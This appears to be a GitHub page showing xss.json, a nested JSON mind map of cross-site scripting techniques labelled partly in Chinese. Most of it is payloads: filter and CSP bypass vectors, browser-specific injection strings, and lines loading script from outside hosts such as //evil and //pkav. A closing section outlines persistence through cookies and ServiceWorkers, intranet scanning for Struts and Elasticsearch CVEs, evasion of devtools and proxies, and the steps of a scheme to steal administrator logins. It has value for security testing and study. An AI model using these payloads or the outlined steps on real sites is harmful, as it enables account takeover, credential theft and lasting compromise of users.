-
Notifications
You must be signed in to change notification settings - Fork 528
/
xss.json
executable file
·685 lines (685 loc) · 28.1 KB
/
xss.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
{
"Found": {
"Trigger": {
"Origin": {
"Script context": {
"quot": {
"alert`1`": {},
"`${alert(1)}`": {},
"\\u{0000000000000061}lert(1)": {},
"setTimeout(name)": {},
"-{valueOf:location,toString:[].pop,0:/javascript:alert%281%29/.source,length:1} (IE)": {},
"Break": {
"eat backlash: %bb\"alert(1) (GBK charset)": {
"prerequisite: \" => \\\"": {}
},
"\"<!--<script>\"": {
"after: <img src=\"--></script><svg/onload=alert(1)//\">": {
"Single param vector: <img src=\"--></script><svg/onload=alert(1)//\"><!--<script>": {}
}
}
}
},
"comment": {
"//[10,13,8232(utf-8),8233(utf-8)]alert(1)//": {},
"*/alert(1)/*": {},
"Break (IE)": {
"/*@cc_on-alert(1))": {},
"//@cc_on-alert(1))": {}
}
}
},
"Attribute": {
"quot": {
"\"autofocus/onfocus=alert(1)//": {},
"\"oncut=alert(1)//": {},
"'onclick=alert(1)//": {}
},
"inline-script": {
"HTML entities": {
"Named": {
"onclick=\"delFeedback('2&apos)alert(1)//')\"": {},
"onclick='addUser(\"23")alert(1)//\")'": {}
},
"Oct": {
"onclick='addUser(\"23")-alert(1)//\")'": {}
}
},
"VBScript (IE <= 9)": {
"<a language=vbs onclick='addUser(\"11\\\"&alert(1)\\\"\")'>add</a>": {}
}
},
"href": {
"JS URI": {
"URL encode": {
"javascript:alert%281%29": {
"Adv: javascript:%E2%80%A8alert`1`": {}
}
},
"HTML entities": {
"Named": {
"javascript:alert(1)": {},
"&newLine;javascript:alert(1)": {},
" javascript:alert(1)": {}
},
"Oct ": {
"javascript:name": {}
},
"Hex": {
"javascript:name": {}
}
}
},
"DATA URI (Firefox)": {
"base64": {
"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==": {}
},
"whitespace": {
"data:text/html,< sc r i p t >alert(1)</sc r ip t>": {}
},
"Invalid mime-type": {
"data:),<script>alert(1)</script>": {}
},
"charset": {
"data:text/html;charset=utf-8,<h1>abc": {}
},
"mix": {
"data:%2f%2f;ba se64;;//,P HNjcmlw dD5hbG VydC gxKTwvc2NyaXB0Pg= =": {}
}
},
"VBScript URI (IE <= 10)": {
"vbscript:Msgbox+1": {}
}
},
"style (IE)": {
"behavior": {
"<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">click</a> (IE <= 8)": {},
"<input style=\"behavior: url(xss.txt)\"> (IE <= 10)": {
"xss.txt: <scriptlet> <implements type=\"behavior\"/> <script>alert(1)</script> </scriptlet>": {}
},
"1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> (IE <= 9)": {},
"1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe> (IE <= 9)": {
"vml.xml: <xml> <rect style=\"height:100%;width:100%\" id=\"xss\" onmouseover=\"alert(1)\" strokecolor=\"white\" strokeweight=\"2000px\" filled=\"false\" /> </xml>": {}
}
},
"expression": {
"font-family:a/**/ression(alert(1))('\\')exp\\')": {},
"font-family:expression(alert)(1)": {},
"expr\\65ssion(alert(1))": {}
}
}
},
"Context": {
"Prior tag": {
"Fuzz vector": {
"{tag}<img name=\"{/tag} <img src=xx:x onerror=alert({{i}})//\">": {},
"{tag}<!--{/tag}<img src=xx:x onerror=alert(1) -->": {}
},
"Result": {
"<xmp><% </xmp><img alt='%></xmp><img src=xx:x onerror=alert(1)//'> (IE <= 9)": {}
}
},
"Token": {
"标签名结束符": {
"<svg[9,10,12,13,32,47]onload=alert(1)>": {}
},
"属性分隔符": {
"<img src=x[9,10,12,13,32]onerror=\"alert(1)\">": {}
},
"属性值": {
"<! XSS=\"><img src=xx:x onerror=alert(1)//\">": {},
"alt=``onload=alert(1)": {},
"alt=' \" name='onerror=alert()//'": {},
"href=[0x0b]\" onclick=alert(1)//": {}
},
"属性名": {
"<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>(IE 6-8)": {},
"<input value=\"<script>alert(1)</script>\" ` />": {}
}
},
"Magic tag": {
"Object": {
"<object data=//pkav/test.swf><param name=movie value=//pkav/test.swf><param name=allowscriptaccess value=always></object>": {}
},
"SVG": {
"<svg><script/xlink:href=data:,alert(1)></script>": {},
"<svg contentScriptType=text/vbs><script>MsgBox\"1\"<i>(IE <= 10)": {},
"<svg><script>alert(1)</script>": {},
"<svg></ y=\"><x\" onload=alert(1)>": {},
"<svg><style>*{font-family:'<svg onload=alert(1)>';}</style></svg>": {}
},
"Math": {
"<math xlink:href=javascript:..>": {},
"<math><a xlink:href=javascript:...>": {},
"<math><style>*{font-family:'<img/src=xx:x onerror=alert(1)>'}</style>": {}
},
"Link": {
"<link rel=import href=//evil>": {
"1. Access-Control-Allow-Origin:*": {},
"2. echo '<svg/onload=alert(1)>'": {}
},
"<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d>(IE)": {}
},
"Iframe": {
"<iframe srcdoc='<svg/onload=alert(1)>'>": {
"Adv: <iframe srcdoc=\"<iframe srcdoc='&lt;iframe onload=alert(1)&gt;'>\"></iframe>": {}
},
"<iframe src=\"data:),<script>alert(document.domain)</script>\"></iframe>(Firefox)": {}
},
"Embed": {
"<embed src=evil.swf allowscriptaccess=always>": {},
"<embed code=evil.swf allowscriptaccess=always> (Chrome)": {}
},
"base": {
"<base href=\"/\\evil\">": {}
},
"!": {
"<!--><svg onload=alert(1)> -->": {},
"<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>(IE 6-9)": {},
"<![if<iframe/onload=alert(1)//]>": {},
"<![CDATA": {},
"<!doctype": {}
},
"%": {
"<% contenteditable onresize=alert(1)>(IE 11, 9 mode)": {}
},
"?": {
"<? '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>(IE 6-9)": {}
}
},
"Special char": {
"<[00]script>alert(1)</[00]script> (IE <= 9)": {}
},
"Special charset": {
"UTF-7: +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-(IE)": {}
}
}
},
"DOM": {
"Javascript": {
"Input": {
"location": {
"location.href": {},
"location.search": {
"IE don't URL encode <>": {}
},
"location.hash": {},
"location.pathname": {}
},
"window.name": {},
"document.cookie": {},
"localStorage": {},
"document.title": {},
"getAttribute": {},
"document.referrer": {},
"innerText": {},
".value": {},
".dataset": {},
"postMessage": {
"Use backlash(\\) bypass origin check code": {}
},
"innerHTML": {
"MXSS": {
"<b><noscript><a src='x' style='x:\\3c\\2fnoscript\\3e\\3ciframe/onload\\3d alert(1)\\3e'> (IE11, 0.0.2)": {},
"<listing><img src=1 onerror=alert(1) ></listing>": {},
"<img src=\"test.jpg\" alt =\"``onload=xss()\">": {},
"<pkav xmlns=\"><iframe onload=alert(1)\">123</pkav>": {},
"<p style=\"font-family:'ar\\27 \\3bx\\3a expression\\28xss\\28\\29\\29\\3bial';\"></p>": {},
"<img src=1 style=\"font-fam\\22onerror\\3d alert\\28 1\\29\\20 ily:'aaa';\">": {},
"<% a=%><iframe/onload=alert(1)//>": {},
"<img =\"><script>alert(1)</script>\">": {},
"<div='/x="'><iframe/onload=alert(1)>'>": {},
"<a href=\" javascript:alert(1)\">click</a>": {}
}
}
},
"Trigger": {
"location": {
"location='javascript:alert(~1)'(IE)": {}
},
"eval": {},
"innerHTML": {},
"document.write": {},
"appendChild": {},
"Function": {},
"setTimeout": {},
"setInterval": {},
"createElement": {
"with(document)body.appendChild(createElement('iframe onload=alert(1)>')),body.innerHTML+='' (IE)": {}
}
}
},
"jQuery": {
"Input": {
".attr": {},
".data": {},
".ajax": {},
".get": {},
".post": {},
".val": {}
},
"Trigger": {
".html": {},
".append": {},
".getScript": {},
".ajax": {
"dataType:'script'": {}
},
".get": {
"content-type:text/javascript": {},
"$.get('data:/javascr\\ript,alert(1)') (firefox)": {}
},
"$(": {},
"jQuery(": {}
}
},
"React.js": {
"Trigger": {
"React.createElement": {}
}
},
"AngularJS": {
"<b class=\"ng-include:'//evil''\">": {},
"<iframe ng-src=javascript:..>": {},
"Trigger": {
"angular.element": {}
}
}
},
"Flash": {
"Input": {
"loaderInfo.parameters": {
"Ignore invalid URL encode: %Ajava%B&script:alert(1)": {}
},
"SharedObject": {
"getLocal": {}
},
"LocalConnection": {
"allowDomain(\"*\")": {}
},
"HTML id attribute(IE)": {
"<object id='pk\"),alert(1),(\"av' data=//target.swf ..": {}
},
"Security.allowDomain(\"*\")": {}
},
"Trigger": {
"ExternalInterface.call": {
"arg 1:alert(1)": {},
"arg 2": {
"\\\"))}catch(e){alert(1)}//": {},
"split bug": {
"1. ?q=%ED%A0%80\\\"))}catch(e){alert(1)}//": {},
"2. var q:String=loaderInfo.parameters[\"q\"].split(\"\\\\\").join(\"\\\\\\\\\");": {},
"3. ExternalInterface.call(\"console.log\",q);": {}
}
}
},
"htmlText": {
"<img src=evil.swf>": {},
"<a href=javascript:...>me</a>": {}
},
"navigateToURL": {},
"Loader": {},
"addCallback": {}
}
},
"Server": {
"Applocation": {
"Purifier": {
"style=xss:'\"/onclick=alert(1)//'": {
"style=\"xss:'\" onclick=\"alert(1)//'\"": {}
},
"<embed allowscriptaccess=\"alwalwaysays\" src=\"test.swf\">": {},
"<sc<script>ript>alert(1)</script>": {},
"alt= onclick=alert(1)": {
"alt=\"\"onclick=\"alert(1)\"": {}
}
},
"Filter": {
"emoji": {}
},
"Logic": {
"length": {}
}
},
"Database": {
"charset": {
"<img src=\"xx# onerror=alert(1)//{0xf09d8c86}\">": {}
},
"data type": {
"Text": {
"<a href=\"xxx# onclick=alert(1)//[64kb]\"></a>": {}
},
"VARCHAR": {
"<a href=\"xxx# onclick=alert(1)//[255]\"></a>": {}
}
}
}
}
},
"Input": {
"Mail": {
"附件": {
"预览": {
"Word 字体": {}
},
"标题": {}
},
"正文": {},
"标题": {},
"抄送人": {}
},
"Flash file": {
"SwfUpload": {},
"ZeroClipboard": {},
"JWPlayer": {},
"Open flash chart": {}
},
"Javascript File": {},
"Image Exif": {},
"Feedback": {
"<img src=//evil-DNS>": {},
"</script/</textarea/\"'><img..": {}
},
"URL Param": {
"Google Search": {
"site:qq.com inurl:?id= -\"disucz\"": {}
},
"Traffic monitor": {
"Browser Extend": {},
"VPN": {},
"HTTP proxy": {}
},
"Custom Spider": {}
},
"Upload": {
"xss.svg": {},
"xss.swf": {},
"xss.xml": {},
"xss.evt": {},
"xss.xxe": {},
"xss.jar (Firefox)": {
"<iframe src=\"jar://html5sec.org/test.jar!/test.html\"></iframe>": {}
},
"xss.txt": {
"start with: <script>": {}
}
}
},
"Tool": {
"Charles": {
"Mapping local JS file": {}
},
"Fiddler": {
"Set cookies header": {}
},
"Chrome DevTools": {
"global code search": {
"OS X: ALT + COMMAND + F": {},
"Windows: CTRL + SHIFT+ F": {}
}
},
"Firebug-Lite": {},
"IE 恶搞迷": {},
"ViewWizard": {},
"html5sec.org/innerhtml/": {},
"shazzer.co.uk/": {}
}
},
"POC": {
"Remove referer": {
"<iframe src=\"javascript:'<script src=//pkav></script>'\">": {},
"<meta name=referrer content=never>": {},
"<a href=//target rel=noreferer target=pkav>click</a>": {
"<iframe name=pkav>": {}
}
},
"Bypass length limit": {
"HTML payload": {
"<svg/onload=eval(name)>": {},
"<i/onclick=URL=name>": {},
"<script/src=//⒕₨": {
"after: </script>": {}
}
},
"JS payload": {
"$(name)": {
"prerequisite: jQuery": {}
}
},
"Parameters patchwork": {
"Multiple input": {
"1.<script>/*": {},
"2. */alert(1)/*": {},
"3. */</script>": {}
},
"HPP": {
"id=<script/": {},
"&id=/src=//evil#": {},
"&id=></script>": {}
}
}
},
"Bypass browser XSS filter": {
"Chrome (Webkit)": {
"Upload file": {
"<link rel=import href=/upload/.....>": {},
"<script src=/upload/...></script>": {}
}
},
"IE": {
"<a href=\"?xss=<script>alert(1)</script>\">click</a>": {},
"PHP:<script/%00%00v%00%00>alert(1)</script>": {
"prerequisite: %00 => \\0": {}
}
},
"common": {
"多个输入点合并": {},
"复合参数组合": {},
"DOM write": {
"HTML HEX encode": {}
}
}
},
"Break IE Flash document protection": {
"location='javascript:\"<script>alert(document)</script>\"'": {}
},
"Break <a> area": {
"display:block;position:absolute;top:0;left:0;width:1000px;height:1000px;background:red": {}
},
"InnerHTML exec JS": {
"Non-equal:-<script/defer>alert(1)</script>": {},
"<iframe/src=about:blank onload=alert(1)>": {}
},
"Cross to other subdomain": {
"document.domain='qq.com'": {}
},
"Define variable in advance": {
"alert(username);function username(){} (IE)": {}
},
"CSP bypass": {
"<link rel=import href=test.png>": {}
},
"Upload File header check bypass": {
"SWF": {
"FWS ='BACONBACON'-alert(1)//": {}
},
"GIF": {
"GIF89a= 'MUMBOJUMBOBOGUSBACON';alert(1)//": {},
"GIF89a/*[all lzw data]*/\\x3Bjavascript_payload": {}
}
},
"IE downgrade vector": {
"<meta http-equiv=\"X-UA-Compatible\" content=\"IE=7\" />": {},
"Bypass IE xss filter: <meta content=\"whatever=EmulateIE7\" http-equiv=\"X-UA-Compatible\">)": {}
},
"Flash reflect XSS convert Store XSS ": {
"<object data=\"[evil swf]\"> ||allowScriptAccess = samedomain": {}
},
"IE content-type sniff spoof": {
"/json?a.html": {},
"/json/.html": {},
"/json;.html": {}
},
"Cross domain traditional data": {
"window name": {
"window.name": {
"1. window.name='exp'": {},
"2. location='//target'": {}
},
"<iframe src=\"target\" name=\"exp\">": {},
"<a href=\"//target\" target=\"exp\">": {}
},
"location.hash": {}
},
"Hook variable via ID attribute": {
"<form id=\"window\"><input name=\"name\">": {},
"<a href=\"123\" id=\"x\">test</a>": {
"<script>x='javascript:alert(1)'</script> (IE)": {},
"<script>x.toString()=='123'</script>": {}
}
},
"Block Script tag via Webkit XSS auditor": {
"?abc=<script>[page data]</script>": {}
}
},
"Exp": {
"Sump": {
"<iframe style=display:none src=//xss></iframe>": {},
"history.replaceState + redirect": {}
},
"Worm": {
"Infect old data": {},
"%E2%80%A8": {}
},
"Persistence XSS": {
"Rootkit": {
"Cookies": {
"Prevent expired: Set max-age=99999999": {},
"Prevent overwritten: Set domain field to top-domain ": {},
"CRLF Inject set-cookie": {}
},
"Flash SharedObject": {
"setLocal": {}
},
"LocalStorage": {
"setItem": {}
},
"ServiceWorker + JSONp": {
"navigator.serviceWorker.register": {}
},
"HTML5 Appcache": {
"<html manifest='/a.appcache'>": {}
}
},
"Frame page": {
"1. No border iframe": {},
"2. Address bar sync": {
"historty.pushState": {},
"location.hash": {}
}
},
"Opener hijack": {
"opener.eval(...exp...)": {}
},
"Open window event hook": {
"<a target=_blank>": {},
"<form target=_blank>": {},
"window.open": {}
},
"HTTP response cache": {
"HPP": {}
}
},
"Intranet border": {
"XSS-Proxy": {
"Inject XSS code to all some origin frame": {},
"Local transfer HTTP proxy": {}
},
"XSS-Intranet": {
"Jar virus": {},
"Ajax scan Intranet": {
"Struts 2: 80/8080": {
"CVE-2013-2251": {},
"CVE-2014-0094": {
"Patch bypass": {}
},
"CVE-2011-3923": {},
"CVE-2013-1965": {},
"CVE-2013-1966": {}
},
"Elasticsearch: 9200": {
"CVE-2014-3120": {},
"CVE-2015-1427": {}
}
}
}
},
"Local border": {
"Browser": {
"Trusting-zone": {},
"Privileged-zone": {}
},
"Inner-webview": {
"IOS": {
"Local File bypass SOP": {}
},
"Andriod": {},
"PC": {}
}
},
"Anti-Tracking": {
"Still work": {
"Detect tab is active: document.hidden": {},
"Detect Local proxy": {
"BurpSuite:8080": {
"127.0.0.1:8080/history": {}
},
"Charles:8080": {},
"Fiddler:8888": {}
},
"Detect devtools": {
"npm install devtools-detect": {}
}
},
"Check referer": {
"response jQuery": {},
"IP add to blacklist": {}
},
"XSS Proxy server": {
"EXP": {},
"Message": {},
"Data receive": {},
"Keep session": {}
},
"Clear trace": {
"Clear console:console.clear": {},
"Clear address bar:history.replaceState": {}
},
"Use WebSocket replace Http": {},
"Use Flash execute JS": {}
},
"Info collection": {
"Ajax get current page data": {},
"WebRTC get Gateway info": {
"VPN": {},
"Intranet IP": {}
},
"All link: document.links": {},
"Replay cookies": {
"Custom X-Forword-for bypass IP limit": {},
"Use Http Proxy replay, prevent cookie domain field wrong": {}
},
"Steal Admin login info": {
"1. hook all link click event": {},
"2. each path filed remove cookie": {},
"3. multiple call history.pushState, prevent go back.": {},
"4. ajax get login page": {},
"5. clear DOM:document.open": {},
"6. write login page": {},
"6. set document.title": {},
"7. 500ms defer bind steal event to all form": {}
}
}
}
}